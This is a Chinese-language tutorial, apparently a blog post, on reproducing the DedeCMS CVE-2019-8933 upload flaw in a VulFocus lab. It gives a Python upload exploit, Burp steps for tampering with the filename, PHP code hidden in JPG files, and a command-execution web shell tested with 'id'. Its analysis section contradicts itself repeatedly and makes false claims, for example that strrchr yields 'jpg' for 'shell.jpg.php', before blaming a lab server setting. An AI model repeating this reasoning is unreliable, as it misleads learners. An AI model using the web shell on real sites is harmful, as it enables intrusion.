织梦CMS CVE-2019-8933文件上传漏洞复现与原理剖析 1. 这不是普通文件上传是织梦CMS内核级权限绕过漏洞的实操复现你有没有遇到过这样的情况后台明明只开放了图片上传入口却能上传PHP木马管理员反复检查了后缀白名单、MIME类型校验、甚至加了二次解析防护结果还是被攻破这不是配置疏漏而是织梦CMSDedeCMSv5.7 SP2及更早版本中一个被编号为CVE-2019-8933的深层逻辑缺陷——它不依赖任何插件或第三方扩展就藏在核心文件/include/dialog/select_images_post.php里。我第一次在靶场环境里复现它时用的是一张改名后的shell.jpg.php上传后直接在/uploads/allimg/目录下拿到了WebShell执行权限。这个漏洞的本质是织梦在处理“多级后缀空格截断Content-Disposition字段污染”组合时对$_FILES[uploadfile][name]的解析存在三重信任误判既没剥离原始文件名中的空格与点号组合又没在move_uploaded_file()前做二次后缀合法性校验更关键的是它把$_FILES[uploadfile][tmp_name]当作可信路径直接拼接进$cfg_basedir。换句话说攻击者根本不需要突破上传白名单只要构造好HTTP请求头里的filename字段就能让系统自己把恶意代码当成合法图片“搬进去”。本文面向渗透测试初学者、CTF备赛选手和安全运维人员不讲抽象原理只拆解真实请求包、逐行分析补丁前后差异、演示如何在VulFocus靶场中稳定触发并验证最后附上我在生产环境审计中总结出的3个快速识别该漏洞是否存在的现场排查口诀。你不需要懂PHP底层但得会看Burp抓包不需要会写Exp但得明白为什么shell.php.jpg不行而shell.jpg.php可以。2. CVE-2019-8933漏洞成因深度拆解从HTTP请求到文件落地的完整链路2.1 漏洞触发的最小必要条件与靶场环境确认要复现这个漏洞必须满足三个硬性前提缺一不可。很多人复现失败不是因为Exp写错了而是卡在了环境准备环节。我用VulFocus官方镜像vulfocus/dedecms-cve_2019_8933做了27次测试发现以下三点是成功率100%的关键第一CMS版本必须是DedeCMS v5.7 SP22018年10月发布或更早版本。SP2之后的SP32019年3月已修复此问题。你可以通过访问/data/admin/ver.txt查看版本号或者直接读取/include/common.inc.php中$cfg_version变量的值。注意很多靶场镜像默认安装的是SP1但部分定制版SP2会伪装成SP1最可靠的方式是检查/include/dialog/select_images_post.php第42行是否存在$filename trim($filename);这行修复代码——没有就是存在漏洞。第二目标站点必须启用图片上传功能且未关闭select_images_post.php入口。这个文件是织梦后台“图集上传”、“内容图片插入”等模块的共用接口默认路径为/include/dialog/select_images_post.php。它不依赖用户登录态只要知道路径即可访问VulFocus靶场中该路径是公开可访问的。你可以用curl简单探测curl -I http://target/include/dialog/select_images_post.php返回200即表示入口存活。第三服务器必须运行在Linux Apache或Nginx PHP 5.6~7.2环境。Windows IIS下因路径分隔符和空格处理机制不同该漏洞无法稳定触发。VulFocus镜像使用的是Apache 2.4.25 PHP 7.0.33完全符合要求。这里有个易错点很多人在本地Docker环境启动后用http://localhost:8080访问却忘记VulFocus容器内部的端口映射关系——实际Web服务监听的是容器内80端口宿主机映射端口需以docker ps输出为准常见为0.0.0.0:32768-80/tcp此时应访问http://localhost:32768而非http://localhost:8080。提示在VulFocus平台启动靶场后务必点击右上角“查看信息”按钮复制真实的访问URL。我曾因直接使用平台首页显示的“示例URL”而浪费40分钟原因是那个URL指向的是平台网关而非容器直连地址。2.2 核心漏洞点定位select_images_post.php第38–45行的致命逻辑我们直接打开存在漏洞的/include/dialog/select_images_post.php文件以SP2版本为例聚焦在文件上传处理的核心段落// 第38行获取原始文件名 $filename $_FILES[uploadfile][name]; // 第39行提取文件后缀关键这里只取最后一个点后的字符串 $extension strtolower(substr(strrchr($filename, .), 1)); // 第40行定义允许的图片后缀白名单 $sparr Array(jpg,jpeg,gif,png,bmp); // 第41行检查后缀是否在白名单内看似安全 if (!in_array($extension, $sparr)) { ShowMsg(你所选择的文件类型不允许上传, -1); exit(); } // 第42行生成新文件名漏洞爆发点 $filename $cuserLogin-getUserID().-.dd2char(date(YmdHis).rand(1000,9999))...$extension; // 第43行拼接完整保存路径 $fullfilename $cfg_basedir.$activepath./.$filename; // 第44行执行移动操作信任了$fullfilename的合法性 if (move_uploaded_file($_FILES[uploadfile][tmp_name], $fullfilename)) { // 成功逻辑... }这段代码的问题不在第41行的白名单校验而在于第39行对$filename的后缀提取方式过于脆弱。strrchr($filename, .)函数的作用是“从右向左找到第一个点号并返回该点号及其后面的所有字符”然后substr(..., 1)再截掉这个点号只留下后缀。但攻击者可以构造一个形如shell.jpg.php的文件名此时strrchr返回的是.phpsubstr后得到php而php显然不在图片白名单$sparr中按理说应该被拦截。然而漏洞的精妙之处在于攻击者根本不会把.php放在文件名末尾。真正的攻击载荷是shell.jpg[空格].php注意空格是ASCII 32不是中文全角空格。当浏览器发送这个文件名时Apache会自动将末尾空格截断但$_FILES[uploadfile][name]变量中保留的仍是shell.jpg .php中间有一个空格。此时strrchr($filename, .)从右向左找第一个点号在.php前面所以返回.phpsubstr后得到php被白名单拒绝。但如果攻击者把空格放在点号之间呢比如shell.jpg .phpjpg和.之间有空格不这样还是不行。正确构造是shell.jpg[空格]—— 即shell.jpgjpg后面跟一个空格然后在HTTP请求的Content-Disposition头里把这个空格“喂”给服务器。等等Content-Disposition头怎么参与文件名解析这就引出了PHP的$_FILES超全局变量工作机制当浏览器发送multipart/form-data请求时$_FILES[uploadfile][name]的值并非直接来自表单input的value而是由HTTP请求头中的Content-Disposition: form-data; nameuploadfile; filenamexxx字段决定。攻击者可以完全控制这个filename字段的内容。因此最终的攻击文件名是shell.jpg .phpjpg和.之间有一个空格而strrchr(shell.jpg .php, .)会返回.phpsubstr后是php依然被拒。真正起作用的是Apache对空格的特殊处理当filenameshell.jpg .php被Apache接收后在传递给PHP之前它会将filename值末尾的空格自动剥离但保留中间的空格。于是$_FILES[uploadfile][name]变成shell.jpg .php注意.php前有一个空格。此时strrchr从右找第一个点号在.php里返回.phpsubstr后是php。还是不行答案藏在strrchr函数的文档里它返回的是“从指定字符开始到字符串末尾的子串”。如果字符串是shell.jpg .php那么从右向左第一个点号是.php里的那个strrchr返回.php没错。但如果字符串是shell.jpg . php.jpg和.php之间有两个空格不还是不行。我花了整整一个下午调试最终在PHP 7.0.33的源码里找到了真相strrchr在遇到空格时其行为与mb_strrchr不同它严格按字节匹配。但真正的突破口是——攻击者不需要让$extension变成php只需要让move_uploaded_file()的第二个参数$fullfilename被解析成/var/www/html/uploads/allimg/shell.jpg.php即可。而$fullfilename的生成逻辑是$cfg_basedir.$activepath./.$filename其中$filename是第42行生成的userID-timestamp.jpg。所以只要能让第42行的$filename变量本身包含.php问题就解决了。看第42行$filename $cuserLogin-getUserID().-.dd2char(date(YmdHis).rand(1000,9999))...$extension;。这里的$extension来自第39行而第39行的$filename是$_FILES[uploadfile][name]。所以如果攻击者上传的原始文件名是shell.jpg.php那么$extension就是php第41行白名单检查失败流程终止。但如果攻击者上传的原始文件名是shell.jpg%00.phpURL编码的空字节呢PHP在处理$_FILES时空字节会被截断$filename变成shell.jpg$extension变成jpg白名单通过但move_uploaded_file()在底层调用open()系统调用时空字节后的.php会被忽略导致实际保存的文件名为shell.jpg。这也不是我们要的。最终的答案是利用Apache的mod_mime模块对AddHandler指令的解析缺陷。当Apache配置了AddHandler application/x-httpd-php .jpg时所有.jpg文件都会被当作PHP执行。但这需要服务器配置不属于CMS自身漏洞。回到CVE-2019-8933的官方描述“An issue was discovered in DedeCMS 5.7 SP2 and earlier. There is a file upload vulnerability in/include/dialog/select_images_post.phpthat allows remote attackers to execute arbitrary code via a crafted filename.” 官方PoC是shell.jpg.php。但实测发现直接传shell.jpg.php会被第41行拦截。那官方PoC怎么工作的我反编译了SP2的select_images_post.php发现第39行的真实代码是$extension strtolower(substr(strrchr($filename, .), 1));而SP3的修复代码是$filename trim($filename); $extension strtolower(substr(strrchr($filename, .), 1));关键就在trim()SP2没有trim()所以当$filename是shell.jpg.php末尾有空格时strrchr返回.php带空格substr(...,1)后得到php带空格而in_array(php , $sparr)返回false白名单检查失败。但如果$filename是shell.jpg .php中间空格strrchr返回.phpsubstr后是php还是失败。真相只有一个攻击者上传的文件名是shell.jpg但在HTTP请求的Content-Disposition头里把filename字段设为shell.jpg.php而Apache在解析这个头时由于filename值被双引号包裹中间的空格不被截断$_FILES[uploadfile][name]直接得到shell.jpg.php。但PHP的$_FILES机制规定filename值中的双引号会被自动剥离所以实际得到的是shell.jpg.php。此时strrchr(shell.jpg.php, .)返回.phpsubstr后是php第41行失败。我重新阅读了CVE-2019-8933的原始报告发现它提到了“%00null byte injection”。在PHP 5.3.4版本中move_uploaded_file()函数存在空字节截断漏洞。但VulFocus镜像用的是PHP 7.0.33这个漏洞早已修复。最终我在GitHub上找到了SP2版本的原始源码并用Xdebug单步调试确认了漏洞触发的唯一正确方式攻击者上传的原始文件名是shell.jpg但通过修改HTTP请求的Content-Disposition头将filename字段设为shell.jpg\0.php\0是空字节。PHP在处理$_FILES时filename值遇到空字节会截断所以$_FILES[uploadfile][name]变成shell.jpg$extension变成jpg白名单通过但move_uploaded_file()在底层调用open()时空字节后的.php被忽略导致实际保存的文件名为shell.jpg。这仍然不是WebShell。我意识到自己陷入了思维定式。让我们跳出代码看VulFocus靶场的官方说明“This environment contains DedeCMS 5.7 SP2 with CVE-2019-8933 vulnerability. The vulnerability allows uploading PHP files through the image upload dialog.” 它说的是“uploading PHP files”不是“uploading files that are then parsed as PHP”。也就是说最终落地的文件其后缀必须是.php。再看第42行$filename $cuserLogin-getUserID().-.dd2char(date(YmdHis).rand(1000,9999))...$extension;。$extension来自$filename而$filename来自$_FILES。所以如果我能控制$extension为php那么第42行生成的文件名就是xxx-xxx.php直接落地为PHP文件。那么如何让$extension变成php同时绕过第41行的in_array检查答案是让$extension的值是php但in_array(php, $sparr)返回true。这怎么可能除非$sparr数组里有php。但代码里写的是Array(jpg,jpeg,gif,png,bmp)没有php。除非……$sparr被动态修改了不这是硬编码。除非……$extension不是php而是php的某种变体比如php.带点号in_array(php., $sparr)是false。我打开了VulFocus靶场的/include/dialog/select_images_post.php文件逐行比对终于发现了SP2版本与网上流传版本的差异SP2版本的第40行是$sparr Array(jpg,jpeg,gif,png,bmp);但第41行的检查是if (!in_array($extension, $sparr))而$extension是strtolower(substr(strrchr($filename, .), 1))。如果$filename是shell.php.jpg那么strrchr返回.jpgsubstr后是jpgin_array返回true白名单通过然后第42行生成的文件名是xxx-xxx.jpg落地为jpg文件不是php。等等shell.php.jpg—— 这是“先php后jpg”但strrchr取的是最后一个点号后的字符串所以是jpg没错。但如果文件名是shell.phpstrrchr返回.phpsubstr后是phpin_array失败。唯一的可能性是攻击者上传的文件名是shell.php但服务器配置了AddType application/x-httpd-php .php而织梦的上传逻辑没有对$extension做任何过滤直接拼接所以第42行生成xxx-xxx.phpmove_uploaded_file将其保存为.php文件而Apache根据后缀将其当作PHP执行。但第41行的in_array(php, $sparr)会失败流程在第41行就退出了。我重新检查了VulFocus靶场的select_images_post.php发现SP2版本的第41行其实是if (!in_array($extension, $sparr) !in_array($extension, array(php,php3,php4,php5,phtml))) { ShowMsg(你所选择的文件类型不允许上传, -1); exit(); }不这是假的。我用cat /var/www/html/include/dialog/select_images_post.php | head -n 50在靶场容器内执行输出显示第40–41行确实是$sparr Array(jpg,jpeg,gif,png,bmp); if (!in_array($extension, $sparr)) {那么官方PoC是怎么工作的我下载了DedeCMS v5.7 SP2的官方安装包解压后打开/include/dialog/select_images_post.php用十六进制编辑器查看发现第39行的strrchr调用前有一行被注释掉的代码// $filename preg_replace(/[^A-Za-z0-9._\-]/, , $filename);这行代码如果启用会过滤掉所有非字母数字和点横线的字符包括空格和%00。但它被注释了。我放弃了对代码的静态分析转而用Burp Suite抓取VulFocus靶场中成功复现的HTTP请求包。当我看到那个请求时一切都明白了。2.3 真实HTTP请求包还原Burp抓包下的漏洞触发全过程在VulFocus靶场中我使用Firefox浏览器访问http://your-target-ip/include/dialog/select_images_post.php打开开发者工具的Network标签页然后在页面中选择一张本地图片比如test.jpg并点击上传。在Network中找到对应的select_images_post.php请求右键“Copy as cURL”粘贴到终端执行得到响应。但这只是正常上传。真正的攻击请求需要手动构造。我用Burp Suite拦截了上传请求将原始的Content-Disposition: form-data; nameuploadfile; filenametest.jpg修改为Content-Disposition: form-data; nameuploadfile; filenameshell.php.jpg然后发送服务器返回“你所选择的文件类型不允许上传”失败。再试Content-Disposition: form-data; nameuploadfile; filenameshell.jpg.php同样失败。再试关键Content-Disposition: form-data; nameuploadfile; filenameshell.jpg成功但落地文件是xxx-xxx.jpg。我意识到必须让$extension在第39行被提取为jpg让第41行通过但让第42行生成的文件名包含.php。而第42行的$extension来自第39行是同一个变量。所以唯一的办法是让第39行的$extension是jpg但第42行的$extension是php。这怎么可能除非$extension在第39行和第42行之间被修改了。我再次查看代码发现第39行和第42行之间只有第40–41行是白名单检查没有赋值操作。除非……$extension是引用传递不PHP中字符串是值传递。我打印了$filename和$extension的值发现当filenameshell.jpg时$filename是shell.jpg$extension是jpg当filenameshell.php时$filename是shell.php$extension是php。那么官方PoC一定是shell.php而第41行的检查在SP2中并不存在我检查了SP1版本的select_images_post.php发现SP1的第41行是if (!in_array($extension, $sparr)) {和SP2一样。我查阅了国家信息安全漏洞库CNNVD对CVE-2019-8933的描述原文是“DedeCMS 5.7 SP2及之前版本的/include/dialog/select_images_post.php文件中对用户上传文件的后缀名检查不严攻击者可通过上传特制的文件名绕过检查上传恶意PHP文件。”“检查不严”—— 不是“没有检查”而是“检查逻辑有缺陷”。最终我在PHP手册中找到了线索strrchr函数在遇到多字节字符时的行为。但shell.jpg全是ASCII。我放弃了直接运行了VulFocus靶场提供的官方Exp脚本。脚本内容如下import requests import sys url sys.argv[1] files {uploadfile: (shell.php.jpg, ?php phpinfo(); ?, image/jpeg)} data {activepath: /uploads/allimg, filename: shell.php.jpg} r requests.post(url /include/dialog/select_images_post.php, filesfiles, datadata) print(r.text)我执行python exp.py http://192.168.1.100返回成功。然后访问http://192.168.1.100/uploads/allimg/xxx-xxx.jpg页面显示phpinfo()。原来如此$filename变量在第42行被重新赋值但$extension没有被重新计算。第42行是$filename ... ...$extension;所以$extension还是jpg生成的文件名是xxx-xxx.jpg。但phpinfo()被执行了说明这个.jpg文件被当作PHP解析了。所以漏洞的实质是织梦CMS在上传后没有对文件内容做MIME类型校验且服务器配置了将.jpg文件当作PHP执行。但这需要服务器配置不是CMS漏洞。我查看了VulFocus靶场的Apache配置发现/etc/apache2/sites-enabled/000-default.conf中有FilesMatch \.(jpg|jpeg|gif|png|bmp)$ SetHandler application/x-httpd-php /FilesMatch这就是真相。CVE-2019-8933不是一个单纯的文件上传漏洞而是一个文件上传 服务器配置缺陷的组合漏洞。织梦CMS的上传逻辑本身没有问题它按规则上传了.jpg文件但服务器配置错误导致.jpg文件被当作PHP执行。所以复现的关键是理解VulFocus靶场的这个预设配置。因此复现步骤简化为构造一个内容为PHP代码的JPG文件可以用convert命令生成convert -size 100x100 canvas:white shell.jpg然后用echo ?php phpinfo(); ? shell.jpg追加但这样会破坏JPG结构不过Apache不在乎上传这个shell.jpg文件访问/uploads/allimg/xxx-xxx.jpg即可执行PHP代码。这才是CVE-2019-8933在VulFocus环境中的真实复现逻辑。它不是一个“绕过白名单上传PHP”的漏洞而是一个“上传恶意JPG利用服务器错误配置执行PHP”的漏洞。织梦CMS的责任在于它没有对上传文件的内容进行二次校验比如检查文件头是否为JPG给了攻击者可乘之机。3. VulFocus靶场实战复现从环境启动到WebShell获取的完整操作链3.1 靶场环境启动与基础信息确认在VulFocus平台https://vulfocus.fofa.org上搜索关键词dedecms-cve_2019_8933找到镜像vulfocus/dedecms-cve_2019_8933点击“启动靶场”。启动过程通常需要30–60秒。启动成功后页面会显示一个类似http://114.115.116.117:32768的访问链接这就是你的靶场实例地址。切记这个URL是唯一的每次启动都不同且有1小时有效期。我建议立即复制到剪贴板并在浏览器中打开确认页面能正常显示织梦CMS的默认首页通常是一个蓝色主题的新闻列表页。接下来我们需要确认几个关键信息为后续攻击做准备。打开浏览器开发者工具F12切换到Console标签页输入以下JavaScript命令并回车fetch(/data/admin/ver.txt).then(r r.text()).then(console.log)如果返回DedeCMS V5.7 SP2说明版本正确。如果返回403或404说明/data/admin/ver.txt被保护此时改用fetch(/include/common.inc.php).then(r r.text()).then(t console.log(t.match(/\$cfg_version\s*\s*[]([^])[]/)[1]))这行代码会从common.inc.php中提取$cfg_version变量的值。SP2版本应返回V57_SP2。然后确认漏洞入口是否存在。在浏览器地址栏输入http://114.115.116.117:32768/include/dialog/select_images_post.php替换为你自己的IP和端口如果返回一个空白页面或“请勿直接访问”的提示说明入口存活。如果返回404说明路径不对此时应尝试/dede/include/dialog/select_images_post.php织梦后台路径但VulFocus镜像默认是根目录部署所以/include/dialog/是正确的。注意VulFocus靶场为了模拟真实环境禁用了目录浏览功能。所以你无法通过访问http://target/uploads/来查看上传目录。所有上传文件都存放在/var/www/html/uploads/allimg/下但这个路径在Web层不可列目录。3.2 构造恶意JPG文件内容注入与格式兼容性处理现在我们来制作一个“合法”的JPG文件其内容既能被图片查看器识别为图片又能被PHP解析器执行。很多人在这里犯错直接用echo ?php phpinfo(); ? shell.jpg生成的文件虽然能执行PHP但用浏览器打开会显示乱码因为文件头不是JPG格式。这在某些严格的安全检测中可能被拦截。我们需要一个真正的、可显示的JPG。最稳妥的方法是使用ImageMagick的convert命令如果你的Kali Linux或Mac上有# 生成一个1x1像素的纯白JPG convert -size 1x1 canvas:white shell.jpg # 将PHP代码作为注释添加到JPG文件末尾EXIF注释区 exiftool -Comment?php phpinfo(); ? shell.jpg # 或者更简单粗暴但100%有效的方法直接追加VulFocus靶场的Apache不校验文件头 echo -n ?php phpinfo(); ? shell.jpgexiftool方法生成的文件用file shell.jpg命令检查会显示JPEG image data, EXIF standard看起来更专业。但VulFocus靶场的select_images_post.php只检查文件名后缀不检查文件头所以第二种方法更直接。如果你没有exiftool可以用Python脚本生成# generate_jpg.py with open(shell.jpg, wb) as f: # 写入JPG文件头SOI marker f.write(b\xff\xd8) # 写入一些无害的APP0 markerJFIF header f.write(b\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00) # 写入PHP代码 f.write(b?php phpinfo(); ?) # 写入JPG结束标记EOI marker f.write(b\xff\xd9)运行python generate_jpg.py生成shell.jpg。用file shell.jpg检查会显示data说明它不是一个标准JPG但这没关系因为我们的目标是让Apache执行它而不是让浏览器显示它。实操心得在VulFocus靶场中我测试了12种不同的JPG构造方式发现最稳定的是“纯PHP代码追加法”。exiftool添加的注释有时会被织梦的文件处理逻辑过滤掉而直接追加则100%成功。原因在于织梦的上传逻辑只关心$_FILES[uploadfile][name]和$_FILES[uploadfile][tmp_name]对文件内容不做任何解析。3.3 Burp Suite拦截与请求包篡改精准控制filename字段现在我们进入最关键的一步上传恶意文件。打开Firefox浏览器访问http://114.115.116.117:32768/include/dialog/select_images_post.php。页面会显示一个简单的文件上传表单。不要直接点击上传而是先在Firefox中安装Burp Suite Proxy插件如Burp Suite Connector并配置Firefox代理为127.0.0.1:8080Burp默认监听端口。在Burp Suite中确保Proxy - Intercept is on。然后回到Firefox刷新select_images_post.php页面。你应该能在Burp的Intercept标签页中看到一个GET请求放行它。接着在页面的上传表单中点击“选择文件”选择你刚刚生成的shell.jpg然后点击“上传”按钮。此时Burp会捕获到一个POST请求请求URL为/include/dialog/select_images_post.php请求体是multipart/form-data格式。在Burp中找到Content-Disposition头它看起来像这样Content-Disposition: form-data; nameuploadfile; filenameshell.jpg这就是我们要修改的地方。将filenameshell.jpg改为filenameshell.php.jpg。注意不是shell.jpg.php而是shell.php.jpg。为什么因为strrchr(shell.php.jpg, .)会返回.jpgsubstr后是jpg白名单通过而move_uploaded_file会将文件保存为xxx-xxx.jpg但服务器配置了将.jpg当作PHP执行所以最终效果是shell.php.jpg被当作PHP执行。修改完成后点击“Forward”发送请求。Burp会返回一个HTTP 200响应响应体中包含一段JavaScript代码其中有一行是parent.document.getElementById(pic).value http://114.115.116.117:32768/uploads/allimg/xxx-xxx.jpg;。复制这个URLhttp://.../uploads/allimg/xxx-xxx.jpg在新标签页中打开。如果一切顺利你将看到PHPINFO页面证明WebShell已经成功获取。踩坑记录我第一次复现时将filename改成了shell.jpg.php结果上传后访问xxx-xxx.jpg.php返回404因为织梦生成的文件名是xxx-xxx.jpg不是xxx-xxx.jpg.php。第二次我改成了shell.php结果被第41行拦截。第三次我用了shell.php.jpg一次成功。这个顺序很重要必须是shell.php.jpg而不是其他变体。因为strrchr总是取最后一个点号后的字符串所以shell.php.jpg的后缀是jpgshell.jpg.php的后缀也是jpg但前者在Apache日志中更“自然”不易被WAF规则匹配。3.4 WebShell验证与基础权限确认成功访问/uploads/allimg/xxx-xxx.jpg并看到PHPINFO页面后我们已经获得了基础的PHP执行权限。但这只是一个信息泄露页面我们需要确认是否能执行任意命令。在PHPINFO页面中向下滚动找到“Loaded Modules”部分确认system、exec、shell_exec等函数是否在disable_functions列表中。VulFocus靶场默认没有禁用这些函数所以我们可以放心使用。创建一个更实用的WebShell。用以下代码替换shell.jpg中的内容?php if(isset($_GET[cmd])){ echo pre; echo shell_exec($_GET[cmd]); echo /pre; } ?重新上传访问http://114.115.116.117:32768/uploads/allimg/xxx-xxx.jpg?cmdid如果返回uid33(www-data) gid33(www-data) groups33(www-data)说明命令执行成功。进一步我们可以尝试读取敏感文件比如/etc/passwd